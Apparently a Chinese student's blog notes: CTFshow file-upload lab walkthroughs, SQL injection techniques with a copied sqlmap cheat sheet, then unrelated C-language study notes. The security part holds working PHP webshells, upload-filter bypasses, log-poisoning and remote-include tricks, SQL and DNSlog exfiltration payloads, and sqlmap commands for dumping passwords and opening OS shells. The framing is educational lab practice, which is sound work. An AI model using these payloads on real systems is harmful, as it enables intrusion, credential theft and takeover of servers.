web安全文件上传漏洞

之前学习web漏洞的时候已经写过相关文章,但是仅学习原理知识远远不够,所以应该结合实践详细学习。跟着迪总把CTFshow的文件上传部分做一遍。

文件上传经常需要抓包,所以本篇文章主要利用的工具:
1.burp suit
2.firefox渗透版

bp和firefox

151:
题目显示是前端验证。用bp抓包,当上传png格式文件的时候抓到包,放行允许上传,但是jpg文件没抓到包,限制上传。这里说明数据没有传到后台验证,即本地验证也就是前端验证。那么对于这种情况可以审查源代码,查看他的判定条件。
这道题F12查看源码的时候,发现限制文件上传只能是png,那么右击上传按钮选择查看元素,修改文件类型为jpg可以实现jpg文件的上传。

这是典型的JS验证,攻击者只需要把后门文件通过这个功能点上传,就能实现目的。然后使用:蚁剑、哥斯拉、冰蝎等连接。
上传一句话后门之后,访问上传路径,然后再post处输入a(a是后门文件里的参数)=system(‘ls’); 来查看文件。

然后使用 a=system(‘ls ../’); 跳转到上一级目录,该操作系统为linux

最后执行a=system(‘tac ../flag.php’); 读取flag文件


152:
按照151的做法来,发现修改前端格式为php之后上传php代码,出现了类型不正确

也就是说事情没有那么简单,本关除了验证后缀名,还会验证MIME类型,如下图,如果是png文件会返回image/png,而我们改成php文件之后,就变成了下图的content-type

这个是后端验证生成的,我们可以修改成image/png,因为png是后端合法的类型,如下图

之后按照151那样操作得到flag

153:按照前两关思路来,没有作用。这题考点是 .user.ini 文件。
首先按照前两步骤的方式上传.uer.ini文件,内容是.user.ini:auto_prepend_file=test.png//绿色是要包含的文件。
然后再上传test.png,内容是后门代码:<?php eval($_POST[x]);?>
两个文件都上传成功之后,按照之前的方法找flag。
本质上这是通过文件包含间接执行文件。在本关中访问/upload的时候其实默认访问了index.php,不是访问.user.ini也不是访问test.png来触发的后门代码。index.php能让user.ini生效。具体可以查看如何使ini生效的配置,使得png文件里面的代码能够被解析执行。

154:
按照前三步做法,最后失败,回显状态码,提示后门文件上传失败

当修改内容发现又可以成功,如下图

所以这关对文件的内容进行了验证,代码中应该使用了正则表达式过滤掉<?php 这个语句。思路是使用短标签,下面四种方法执行php,但是需要配置,根据实际情况使用,推荐3、4。

1、<? echo ‘123’;?> //前提是开启配置参数short_open_tags=on

2、<?=(表达式)?> //不需要开启参数设置

3、<% echo ‘123’;%> //前提是开启配置参数asp_tags=on

4、<script language=”php”>echo ‘1’; </script> //不需要修改参数开关

.user.ini:auto_prepend_file=test.png

test.png:<?=eval($_POST[x]);?>

之后按照前面步骤,向upload发送post包:x=system(‘tac ../flag.php’);

155:跟154一样

156:有时候遇到类似过滤,一个个删除看看过滤了哪些字符,然后找到替代的方法。再156中,过滤了POST[x]中的[x],此时只需要换成 {x} 即可

157:除了过滤{}、php、“;”可能还用正则过滤了别的字符。这个时候我们可以直接
<?=system(‘tac ../fl*’)?> //直接运行命令,并且使用通配符*可以表达出php
之后访问upload即可,不用再post参数因为我们没写后门代码。

158:这次连()也被过滤了,怎么办呢?由于php的特性,` `里面的内容会被当成命令执行,可以从这入手。

JS验证+user.ini+短标签+过滤

使用反引号运算符的效果与函数 shell_exec()相同

.user.ini:auto_prepend_file=test.png

test.png:<?=system(‘tac ../fl*’)?>

test.png:<? echo `tac /var/www/html/f*`?>

160:连` `都不能用了!咋整?这个靶场中间件用的是nginx,他有一个日志文件会记录传输得数据,因此我们可以尝试使用文件包含的思路,去包含日志文件的后门代码。

包含默认日志,日志记录UA头,UA头写后门代码

.user.ini:auto_prepend_file=test.png

test.png:<?=include”/var/lo”.”g/nginx/access.lo”.”g”?> //经过了拆分,数据里的符号会被过滤掉,之后还能拼接回来。

按道理说,上传了png和ini直接/upload/打开会出现日志文件,然后再抓包,修改user-agent:<?php eval($_POST[x]);?> 同时在第一行 GET后面修改地址为一个不一样的记得住的地址,发包,再次访问upload查看记录。
最后按照之前的步骤发post包读取flag

这是由于php路径被限制了

161:这关检测文件头,文件头有关的数据我在其他文章写有过。
比如GIF的文件头:GIF89A
本题过滤空格,所以要换行。

文件头部检测是否为图片格式文件

.user.ini:
GIF89A
auto_prepend_file=test.png

test.png:
GIF89A
<?=include”/var/lo”.”g/nginx/access.lo”.”g”?>

一样的,再改user-agent:后门代码//会被记录下来.

162:限制继续增加,现在连“.”也不允许,这说明后缀名就不能使用了。此时我们依然可以使用文件包含的思想,可以把后门代码写在某个网页,再发包申请包含这个网页上的后门文件。关键点在于UPL是有“.”的,不过我们可以在线转换ip为数字,就能实现。

163 突破上传删除

过滤 . () {} ;等 同时文件被删除

直接利用.user.ini包含远程

auto_prepend_file=http://794750069/

auto_prepend_file=http://794750069/

164 png二次渲染

二次渲染,其实是说中大型的网站,为了美观往往会修改图片的格式,可能会增删一些图片里面的数据。如果用010editor查看原图和上传之后的图,经过二次渲染后上传的图会有一部分与原图长生差异。此时我们要写入后门代码,就应该写在有与原图一致的地方。
然而,手工加入是很难实现的,看运气。所以大部分都是用工具生成图片码。
本关url地址上传文件之后,图片的地址不是写死的png(这样子是不能解析php的,要用ini),而是有“?=XXX.png”这样的url才有可能。
判断有没有二次渲染的方法:
1.判断文件上传前后的大小和内容
2.判断上传后文件返回数据包内容

如果不能上传php类型的文件,把后门代码写到了png中,要想png能被解析成php,就要使用一些方法:
1.包含漏洞
2.解析漏洞
3. .user.ini & .htaccess

https://blog.csdn.net/qq_40800734/article/details/105920149

get 0=system

post 1=tac flag.php

165 jpg二次渲染

1、先上传jpg正常,返回包发现渲染

2、上传jpg渲染后保存,生成带代码图片

调用执行:php jpg.php 1.jpg

166 zip调用包含

直接上传zip后修改代码

<?=eval($_POST[x]);?>

167 .htaccess妙用:
.htaccess是apache内置的“分布式配置文件”

.htaccess默认不支持nginx,设置后支持

.htaccess可以通过设置实现文件解析配置

可以将.png后缀的文件解析成php

AddType application/x-httpd-php .png

也可以将.png后缀的文件解析成php

168 免杀后门

<?php $a=’syste’;$b=’m’;$c=$a.$b;$c(‘tac ../flagaa.php’);?>

169 170日志包含

构造.user.ini利用条件:上传index.php 内容随意。因为.user.ini文件必须有index .php才能执行。如果目标目录没有index.php文件,我们应该上传一个。

上传.user.ini包含日志:auto_prepend_file=/var/log/nginx/access.log

访问地址带后门UA头写入日志:<?=eval($_POST[x]);?>

这20关的上传让我明白了一些绕过规则上传文件的思路,显然,当前后端都进行验证,过滤,修改路径,或者不让别人访问目录等,都可以很大程度上防止文件上传漏洞的发生。
注意到比如.user.ini的利用,很多文件上传漏洞必须配合其他漏洞来执行,换句话说我们也可以通过消除这些前置问题,文件上传也很难利用。

SQL注入–根据数据类型注入–根据提交方式注入–延迟报错等

一、根据数据类型

数据类型注入 – 数字型 字符型 搜索型 加密型(base64 json)等
·数字型:0到9;
·字符型:a-Z、中文、标点符号,会使用单引号闭合;
·搜索型:在基础上增加通配符,比如会加入百分号来进行搜索,比如‘%…%’;
·编码型:数据以编码值传递。比如客户端发送编码,服务端对编码解码之后再带入数据进行sql执行。所以我们针对这种类型,要对payload进行编码;
·加密型:数据会以加密后的密文发送,服务端解密再进行操作;
·格式型:比如JSON

如何判断类型?一般用get方式传数据的话可以在地址栏那里看到查询的语句,比如?id=1可能是数字型,比如?name=sigma可能是字符型 ,比如注入点是搜索框,可能是搜索型,要是看不懂的如?id=be==可能是编码型

json形式跟别的区别在于表现的形式。json是键名和键值组合的,因此在构造payload的时候要注意一些细节,如
json={“username”:”admin’ and 1=2 union select 1,database(),3#”}
注入的内容其实没变,只是要找到注入点位置

宽字节注入

借助繁体字符或者乱码,他们会占用两个字节。在一些有转义功能的情况中,\占1个字符,如果使用宽字节,可以占用该位置

二、根据提交方式:

首先,我们注意很多时候使用get方式提交数据的时候,我们能直接修改URL来测试。但是浏览器不可能让我们输入无限长度的url,所以往往会换一种方式提交,即POST方式等(数据请求方式-GET&POST&COOKIE等)。

get一般在报文头
cookie一般在报文中
post一般在报文尾

在一些网页功能点,需要与数据库产生联系,比如查询的,就会产生sql注入的可能。
迪总给出了三种情景:
①后台要记录操作IP
②网站要根据用户的设备给予显示界面
③网站要进行文件上传,用户登录等

使用工具(sqlmap)时,使用数据包来操作比较高效。而使用工具的时候还需要告诉工具使用何种方式提交数据,否则笨比工具不会知道的。

迪总讲了几个案例:
1.zzcms记录ip
如果输入账号密码后,出现了限制次数,思路可以是换IP地址看看限制有没有解除。在演示中,zzcms有一个getip()函数,该函数作用是提取IP。过程是依次从可能存在ip地址的数据中查看ip,其中有一个获取ip的地方叫“X-Forwarded-For:”可以通过抓包修改伪造ip。如果没有这个,可能会获取本机IP。该漏洞类型可以成为XFF头注入

数据库类型:决定攻击手法,payload不一样
数据类型注入:payload考虑闭合、数据格式
提交方式:数据请求不同,注入需要按照指定的方式去测试。注意,url没有参数不代表没有注入,比如post可能把请求数据放在数据包之中,另外,http数据包任何一个地方只要被接受,如XFF,就有可能产生漏洞。

#部分语言接受代码块

<?php

header(“Content-Type: text/html; charset=utf-8”);

$get=$_GET[‘g’];

$post=$_POST[‘p’];

$cookie=$_COOKIE[‘c’];

$request=$_REQUEST[‘r’];

$host=$_SERVER[‘HTTP_HOST’];

$user_agent=$_SERVER[“HTTP_USER_AGENT”];

$ip=$_SERVER[“HTTP_X_FORWARDED_FOR”];

echo $get.”<hr>”;

echo $post.”<hr>”;

echo $cookie.”<hr>”;

echo $request.”<hr>”;

echo $host.”<hr>”;

echo $user_agent.”<hr>”;

echo $ip;

?>

Java Spring  不同框架,不同写法

method=RequestMethod.GET

method=RequestMethod.POST

request.getParameter(“参数名”);

可以直接获取get请求的参数key对应的value

也可以从请求体中获取参数的key对应的value

Python flask 不同框架,不同写法

requests.get

requests.post

request.args.get(key)

request.form.get(key)

request.values.get(key)

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

解决:常规的联合查询注入不行的情况

我们可以知道盲注分为以下三类:

-基于布尔的SQL盲注-逻辑判断

regexp,like,ascii,left,ord,mid

-基于时间的SQL盲注-延时判断

if,sleep

-基于报错的SQL盲注-报错回显

floor,updatexml,extractvalue //以php为例子,$result=mysql_query($sql,$conn) or die(mysql_error())这是为了容错触发的报错命令,只有写上了这条命令才能使用否则无效。

https://www.jianshu.com/p/bc35f8dd4f7c

参考:

like ‘ro%’ #判断ro或ro…是否成立

regexp ‘^xiaodi[a-z]’ #匹配xiaodi及xiaodi…等

if(条件,5,0) #条件成立 返回5 反之 返回0

sleep(5) #SQL语句延时执行5秒,可以在bp里面抓包发送,观察右下角的速度来判断

mid(a,b,c) #从位置b开始,截取a字符串的c位

substr(a,b,c) #从位置b开始,截取字符串a的c长度

left(database(),1),database() #left(a,b)从左侧截取a的前b位

length(database())=8 #判断数据库database()名的长度

ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

SQL查询方式注入

select,insert,update,delete,orderby等

#SQL-盲注&布尔&报错&延时

PHP开发项目-输出结果&开启报错

基于延时:不需要任何前提条件就能运用

/blog/news.php?id=1 and if(1=1,sleep(5),0)

基于布尔:有数据库输出判断标准

/blog/news.php?id=1 and length(database())=7

基于报错:有数据库报错处理判断标准

/blog/news.php?id=2 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

基本知识本地测试

select * from member where username like ‘vi%’;

select * from member where username regexp ‘^x’;

select * from member where id=1 and sleep(1);

select * from member where id=1 and if(1>2,sleep(1),0);

select * from member where id=1 and if(1<2,sleep(1),0);

select * from member where id=1 and length(database())=7;

select * from member where id=1 and left(database(),1)=’p’;

select * from member where id=1 and left(database(),2)=’pi’;

select * from member where id=1 and substr(database(),1,1)=’p’;

select * from member where id=1 and substr(database(),2,1)=’i’;

select * from member where id=1 and ord(left(database(),1))=112; //ord()指的是变成ascii码

1、数据库堆叠注入
2、数据库二次注入

二次注入:先把攻击语句插入数据库中,当其他操作调用该数据,拼接后的新的payload会进行攻击。存在二次注入的特征,比如当注册需要邮箱、用户名、密码等,登录的时候需要输入用户名或者邮箱,密码,登陆成功显示了没有输入的内容,表明存在能二次注入的可能。
比方说,登陆输入邮箱、密码,登陆成功能够显示用户名(并没有输入),说明进行了查询,那么攻击者会把payload注入到用户名,后续执行操作会拼接语句。
换而言之,二次注入的原因是程序员限制、过滤用户输入的恶意payload,但是在存储时能够被完整保存下来,由于使用查看等不会储存如新数据的功能,程序员在这里没有进行过滤,导致了二次注入漏洞。
3、数据库Dnslog注入

#堆叠注入-数据库类型&强网杯2019随便注

根据数据库类型决定是否支持多条语句执行

支持堆叠数据库类型:MYSQL MSSQL Postgresql等

‘;show databases;

‘;show tables;

‘;show columns from `1919810931114514`;

‘;select flag from `1919810931114514`;

‘;SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

#DNS利用-平台介绍&SQL注入&命令执行等

1.平台

http://www.dnslog.cn

http://admin.dnslog.link

http://ceye.io

2.应用场景:

解决不回显,反向连接,SQL注入,命令执行,SSRF等。当网页不回显信息,可以使用DNSlog带外让服务器自己发出申请,让命令执行结果显示在dnslog.cn这个网页上,比如显示版本号、数据库名等。
在内网中发挥作用,此处回忆内网安全学习中使用dns传输数据的内容。
在命令执行中,dnslog发挥巨大用处。

SQL注入:

select load_file(concat(‘\\\\’,(select database()),’.7logee.dnslog.cn\\aa’));

and (select load_file(concat(‘//’,(select database()),’.69knl9.dnslog.cn/abc’)))

命令执行:

ping %USERNAME%.7logee.dnslog.cn

SQLMAP

参考文章

之前学习了手工注入sql,但是由于各个厂家使用的数据库不同,配置的环境不同等,靠手工很繁琐而且可能遇上很多问题。为了节省时间提高效率自然我们要学会使用工具,比如sqlmap,我直接copy迪总的笔记,本篇文章作为使用文档在遇到问题的时候发挥参考作用。

基本操作笔记:-u #注入点

-f #指纹判别数据库类型

-b #获取数据库版本信息

-p #指定可测试的参数(?page=1&id=2 -p “page,id”)

-D “” #指定数据库名

-T “” #指定表名

-C “” #指定字段

-s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log”  恢复:-s “xx.log” –resume)

–level=(1-5) #要执行的测试水平等级,默认为1

–risk=(0-3) #测试执行的风险等级,默认为1

–time-sec=(2,5) #延迟响应,默认为5

–data #通过POST发送数据

–columns #列出字段

–current-user #获取当前用户名称

–current-db #获取当前数据库名称

–users #列数据库所有用户

–passwords #数据库用户所有密码

–privileges #查看用户权限(–privileges -U root)

-U #指定数据库用户

–dbs #列出所有数据库

–tables -D “” #列出指定数据库中的表

–columns -T “user” -D “mysql” #列出mysql数据库中的user表的所有字段

–dump-all #列出所有数据库所有表

–exclude-sysdbs #只列出用户自己新建的数据库和表

–dump -T “” -D “” -C “” #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname)

–dump -T “” -D “” –start 2 –top 4 # 列出指定数据库的表的2-4字段的数据

–dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)

–os #指定系统(Linux,Windows)

-v #详细的等级(0-6)

0:只显示Python的回溯,错误和关键消息。

1:显示信息和警告消息。

2:显示调试消息。

3:有效载荷注入。

4:显示HTTP请求。

5:显示HTTP响应头。

6:显示HTTP响应页面的内容

–privileges #查看权限

–is-dba #是否是数据库管理员

–roles #枚举数据库用户角色

–udf-inject #导入用户自定义函数(获取系统权限)

–union-check #是否支持union 注入

–union-cols #union 查询表记录

–union-test #union 语句测试

–union-use #采用union 注入

–union-tech orderby #union配合order by

–data “” #POST方式提交数据(–data “page=1&id=2”)

–cookie “用;号分开” #cookie注入(–cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)

–referer “” #使用referer欺骗(–referer “http://www.baidu.com”)

–user-agent “” #自定义user-agent

–proxy “http://127.0.0.1:8118” #代理注入

–string=”” #指定关键词,字符串匹配.

–threads    #采用多线程(–threads 3)

–sql-shell #执行指定sql命令

–sql-query #执行指定的sql语句(–sql-query “SELECT password FROM mysql.user WHERE user = ‘root’ LIMIT 0, 1” )

–file-read #读取指定文件

–file-write #写入本地文件(–file-write /test/test.txt –file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)

–file-dest #要写入的文件绝对路径

–os-cmd=id #执行系统命令

–os-shell #系统交互shell

–os-pwn #反弹shell(–os-pwn –msf-path=/opt/framework/msf3/)

–msf-path= #matesploit绝对路径(–msf-path=/opt/framework/msf3/)

–os-smbrelay #

–os-bof #

–reg-read #读取win系统注册表

–priv-esc #

–time-sec= #延迟设置 默认–time-sec=5 为5秒

-p “user-agent” –user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)” #指定user-agent注入

–eta #盲注

/pentest/database/sqlmap/txt/

common-columns.txt  字段字典   

common-outputs.txt

common-tables.txt 表字典

keywords.txt

oracle-default-passwords.txt

user-agents.txt

wordlist.txt

常用语句 :

1./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -f -b –current-user –current-db –users –passwords –dbs -v 0

2./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –passwords -U root –union-use -v 2

3./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –dump -T users -C username -D userdb –start 2 –stop 3 -v 2

4./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –dump -C “user,pass” -v 1 –exclude-sysdbs

5./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –sql-shell -v 2

6./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –file-read “c:\boot.ini” -v 2

7./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –file-write /test/test.txt –file-dest /var/www/html/1.txt -v 2

8./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –os-cmd “id” -v 1

9./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –os-shell –union-use -v 2

10./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –os-pwn –msf-path=/opt/framework/msf3 –priv-esc -v 1

11./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –os-pwn –msf-path=/opt/framework/msf3 -v 1

12./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –os-bof –msf-path=/opt/framework/msf3 -v 1

13./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 –reg-add –reg-key=”HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap” –reg-value=Test –reg-type=REG_SZ –reg-data=1

14./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –eta

15./sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1” -p id –prefix “‘)” –suffix “AND (‘abc’=’abc”

16./sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1” –auth-type Basic –auth-cred “testuser:testpass”

17./sqlmap.py -l burp.log –scope=”(www)?\.target\.(com|net|org)”

18./sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/get_int.php?id=1” –tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

19./sqlmap.py -u “http://192.168.136.131/sqlmap/mssql/get_int.php?id=1” –sql-query “SELECT ‘foo'” -v 1

20./sqlmap.py -u “http://192.168.136.129/mysql/get_int_4.php?id=1” –common-tables -D testdb –banner

21./sqlmap.py -u “http://192.168.136.129/mysql/get_int_4.php?id=1″ –cookie=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low” –string=’xx’ –dbs –level=3 -p “uid”

简单的注入流程 :

1.读取数据库版本,当前用户,当前数据库

sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b –current-user –current-db -v 1

2.判断当前数据库用户权限

sqlmap -u http://www.xxxxx.com/test.php?p=2 –privileges -U 用户名 -v 1

sqlmap -u http://www.xxxxx.com/test.php?p=2 –is-dba -U 用户名 -v 1

3.读取所有数据库用户或指定数据库用户的密码

sqlmap -u http://www.xxxxx.com/test.php?p=2 –users –passwords -v 2

sqlmap -u http://www.xxxxx.com/test.php?p=2 –passwords -U root -v 2

4.获取所有数据库

sqlmap -u http://www.xxxxx.com/test.php?p=2 –dbs -v 2

5.获取指定数据库中的所有表

sqlmap -u http://www.xxxxx.com/test.php?p=2 –tables -D mysql -v 2

6.获取指定数据库名中指定表的字段

sqlmap -u http://www.xxxxx.com/test.php?p=2 –columns -D mysql -T users -v 2

7.获取指定数据库名中指定表中指定字段的数据

sqlmap -u http://www.xxxxx.com/test.php?p=2 –dump -D mysql -T users -C “username,password” -s “sqlnmapdb.log” -v 2

8.file-read读取web文件

sqlmap -u http://www.xxxxx.com/test.php?p=2 –file-read “/etc/passwd” -v 2

9.file-write写入文件到web

sqlmap -u http://www.xxxxx.com/test.php?p=2 –file-write /localhost/mm.php –file使用sqlmap绕过防火墙进行注入测试:

c语言复习的笔记

c语言作为我大学学习的第一门编程语言,影响深刻。但之前开设课程时正处于排课最多的阶段,我没能深入了解好很多技术细节。想起复习一下c语言的原因,这段时间我想阅读unix源码,unix便是由c语言编写而成的,日后我在学习、工作上会经常接触linux,这是其一;我的专业是信息安全,会碰到很多关于缓冲区的漏洞,学习c语言I/O与缓冲区的关系能够加深我对于漏洞产生原理的理解,并且作为面向程序的编程语言,c语言能够灵活使用指针,我希望我能对底层的知识有更多的理解。
大一学习c语言使用的是谭浩强的红皮书,这次复习我购买了C primer plus一书,这篇文行仅是我对于阅读完全书之后的思考感悟,我挑出感兴趣的,新学会的知识来记录。

一、第八章:字符输入输出和输入验证

1.缓冲区
老的系统没有缓冲区,当我们输入字符后会立即打印,很多时候会重复打印,这是无缓冲(buffer)输入;而目前的系统,我们按下回车之前不会重复打印刚输入的字符,这是缓冲输入。
缓冲分为:完全缓冲I/O、行缓冲I/O
·完全缓冲I/O:当缓冲区满后把其中内容输出,常见大小512字节和4096字节
·行缓冲I/O:出现换行符比如回车的时候,输出内容

阅读书中我看到了这么一句话“ANSI C和后续的C标准规定是缓冲的”,刷B站视频我记得win7以及之前记事本默认编码为ANSI,win10为UTF-8。还有说道缓冲区,我想到了C语言令人担心的一点,如果程序员不对变量初始化赋值,或者修改某个变量大小后没初始化,很有可能给程埋下暗雷–即未初始化会使用内存中的脏数据。

之前学习C语言没有了解好文件、流和键盘输入的关系,现在好好学习。首先,我们了解一些概念:
·直接调用操作系统的函数称为:底层I/O(low-level I/O)
·C通过标准I/O包(standard I/Opackage)来处理文件

流:
C处理的是流(stream)而不是直接处理文件。流,是一个实际输入或输出映射的数据流。让不同属性不同种类的输入由属性更加统一的流来表示。
对于C,处理键盘输入输出是以处理文件的方式进行的

文件结尾:
以前没接触这个字典,计算机操作系统要判断文件的开始和结束,可以放置一些标志,比如内嵌的CTRL+Z字符用来标记文件结尾。在文件中长这样:“^z
如今不一定使用内嵌的ctrl+Z,可能用存储文件大小的方式,但是如果用了ctrl+Z,那操作系统就会认为是一个文件结尾的标记。引起我思考,有没有某种攻击方式能用上这个特性,比如某种截断攻击。任意文件上传,即用截断方式绕过文件检查程序,类似这样的思路展开,也许会有收获。

书中说,不管操作系统以何种方式检查文件结尾,如果使用getchar()函数检测到结尾会返回
EOF(end of file),同样的scanf()检测到文件结尾也会返回EOF。他们的定义会在stdio.h文件中,当我们 #include<stdio.h> 会有对EOF的定义: #define EOF (-1) //因为一般getchar()返回0~255,不会出现-1

因此,我们可以对比getchar()的返回值与EOF的关系,不相同就是没有到达文件结尾,如:
while((ch=getchar())!=EOF) //表示还没有结束时,在Java里是:
import java.util.Scanner;
<T> num=input.next<T>();

重定向和文件
标准输入输出stdin、stdout流。C程序使用标准I/O包查找标准输入作为输入源。程序可以通过两种方式使用文件:
①用函数打开文件、关闭文件、读取文件、写入文件;
②与键盘和屏幕互动的程序,通过不同的渠道重定向输入至文件和从文件输出。
不同系统(使用c开发的UNIX、LINUX\DOS)中重定向,都可以让程序使用文件而不是键盘来输入,重定向输出让程序输出到文件而不是屏幕。
·unix命令行模式
·linux(ditto)
·windows命令提示符
重定向符号:“<” 用法:./echo.exe <words //将words中的字符重定向输入到echo.exe中,直到文件结尾。
标准提示符:“$” 是unix和linux的标准提示符;“A>”或“C>”是windows和DOS中的。
重定向输出:“>” 用法:./echo.exe >mywords //创建了myword用于把echo.exe中的字符重定向输出到mywords,如果原本存在mywords,会覆盖原始数据。
组合重定向:使用“<”、“>”例如,创建mywords的副本temp:./echo.exe <mywords >temp

重定向运算符连接一个可执行程序和一个数据文件,不能用于连接两个数据文件;不能读取多个文件输入也不能输出至多个文件
追加之末尾的连接运算符“>>”:表示把数据追加到现有文件的末尾;
管道“|”:表示前者的结果为后者的输入;

在8.5.1使用缓冲输入这个内容里,我注意到:
while(getchar() != ‘\n’)
continue; //因为当输入y或者n 之后我们会输入回车来换行,但是这也意味着会输入一个‘\n’,程序会进行多的判断,利用这条代码会再识别y之后终止本次循环,也就是说跳过本次输入字符串中y后面的部分,包括那个’\n‘

混合数值和字符输入:
注意到getchar()会读取每一个字符,包括空格,制表符等,但是scanf()读取数字时会跳过制表符、空格和换行!
在书中例子提醒我们,使用getchar()和scanf()混用,在输入数字后我们按回车换行,尽管scanf()没有处理它,但是这个换行符仍然在输入队列,当下一次循环whlie检查到这个换行符,就会跳出循环。在本条例子中我注意到使用了break语句,用来检测scanf()的执行情况,查询scanf()的返回值,如下图:

如果是int ch=scanf(“%d %d %d”,&a,&b,&c); 输入 1 1 s ,那么会ch会是2,因为只有前两个被正确接收。

二、第九章:函数

尾递归:相当于循环,是最简单的递归。那么当循环和递归都能解决问题的时候,应该优先选择循环,因为每次递归都会创建一组变量,因此递归使用的内存会很多,执行速度会慢。

查找地址:&运算符
假设一个变量名为sigma,那么&sigma是这个变量的地址。

指针:pointer,是c语言最重要的概念,用来存储变量的地址

间接运算符:*
假设一个指针名或者地址名为sigma,那么*sigma表示存储在指针指向地址上的值。
通常声明指针时用空格,如:int * pi; //这是一个指向int变量的指针叫做pi

三、第十章:数组

·sizeof运算符给出它的运算对象的大小(以字节为单位)

指定初始化器(c99):
这是以前没听过的用法。现在复习我最大的感悟就是初始化的重要性,如果不初始化用的是脏数据,如果初始化了,其他会被设置成0.可以使用“int array[6]={[5]=233}”来对下标为5的元素初始化其他元素会被初始化为0.注意到,如果出现“{1,2,3,[1]=1}”,那么会把下表为1的元素的值改成1覆盖掉原来的2.

数组边界问题:
以前学习数据结构、操作系统的时候,有时粗心没有考虑好边界。跑数据的时候就出现越界的问题,在生产中这是十分严重的。c语言相信程序员,我们如果担心自己写错导致越界,应该把size写死然后再在循环中引用,比如:#define size 4;……;for(int i=0;i<size;i++){…}

指针和数组的关系:
数组表示法其实是变相使用指针,举个例子,假设一个数组叫做sigma,包含的元素为{1,2,3,4}那么数组名sigma是数组中第一个变量sigma[0]也就是1的地址。相当于:
sigma==&sigma[0];
指针+1:表示指针的值递增它所指向类型的大小(以字节为单位),换成人话就是:*sigma指向1,则
*(sigma+1)指向2,*(sigma+2)指向3
.注意*运算符优先级比+要高,sigma[2]可以表示为*(sigma+2)

函数、数组、指针的关系:
学习c语言一定要理清楚指针的概念。如果我们想用函数处理数组比如total=sum(sigma)注意到数组sigma是首元素的地址,我们要传给一个指针形式的参数!比如int sum(* pointer); //定义函数时的形参为指针
书中提示我们要注意:只有在函数原型或者函数定义头中,才能使用int sigma[]代替*sigma

书中使用两个指针指明数组开始与结束的时候,#define size 10;引用函数的时候使用如下代码:
answer=sum(sigma,sigma+size) //按道理说sigma+size将会是指向sigma[10]而sigma最后一个元素是sigma[9],指针越界了。书本给出的解释是:C保证给数组分配空间时,指向数组最后面元素后的下一个位置的指针仍然是有效的指针。也就是说*(sigma+10)也是有效的。。。。

为了记住*与++的优先级关系,举出下面例子:
total +=*start++ //*和++的优先级相同,但是结合律是从右往左看,也就是*(start++)

指针着实是一个十分敏感的东西,用的好速度极快,用不好极容易造成大问题。书本提醒:千万不要解引用未初始化的指针!
int * sigma;
*sigma=5; //出大问题,尽管是将5赋值给sigma,但是会造成擦除原来存储的数据!

因为创建一个指针的时候,系统只分配了存储指针本身的内存,并没有分配存储数据的内存!我们可以用已分配的地址初始化它,比如说用现有的某个变量的地址初始化它!或者使用malloc()函数先分配内存
看到这里,解开了我这些年关于为什么要使用malloc()的疑问!

在b站看到一个up主的视频,我一下子又更理解了一点。当我们int a=3;计算机会给变量开辟一个空间,假设为0xa0,也就是在这个地址里存着一个数值3,当我们int * pi;也会给指针开辟空间&pi为0xb0,;那么当我们 *pi=&a;相当于是0xb0这个地址上存者0xa0这个地址。

对于数据的保护:
对形式参数使用const。如果函数的意图不是修改数组中的数据内容,就在函数原型和函数定义中声明形式参数时使用const,比如:int sum(const int ar[],int n);

之前上课的时候,讲到指向指针的指针很多多同学表示不理解,我开始也不太明白。假设有一个二维数组:sigma[3][2]={{4,2},{2,3},{6,5}} //sigma[2][1]=5 相当于*(*(sigma+2)+1)=5

四、第十一章:字符串以及字符串函数

书中强调对数据初始化的重要性。
关于字符串数组和初始化:
·如果一个字符串的末尾没有空字符”\0“那么他就不是字符串而是字符数组。所以我们要确保在指定数组大小的时候,数组元素的个数至少比字符串长度多1(为了容纳空字符),没被使用的元素会被初始化为”\0“

在数组和指针区别时,注意到:
char * word=”sigma”;
word[o]=”h”;
printf(“sigma”); 会把所有simga实例都修改,这会造成严重后果。于是在把指针初始化为字符串的时候,应该使用const限定符:
const char * word=“sigma”;
如果打算修改字符串,就不要用指针指向字符串字面量

讲到字符串数组时,对比char * sigma[lim]=和char higms[lim][size],higma数组的数据是被存储了两次的,并且higma每行长度固定,sigma则是不规则的不固定的,使用起来sigma比higma高效得多。如果要用数组表示一些列待显示的字符串,应该使用指针数组

在字符串的输出:我们注意要把一个字符串读入程序,就要给该字符串留出空间,再输入该字符串。
char * name;
scanf(“%s,name”); //这是不对的,name没有初始化很容易擦除别的数据,可以写成name[81]

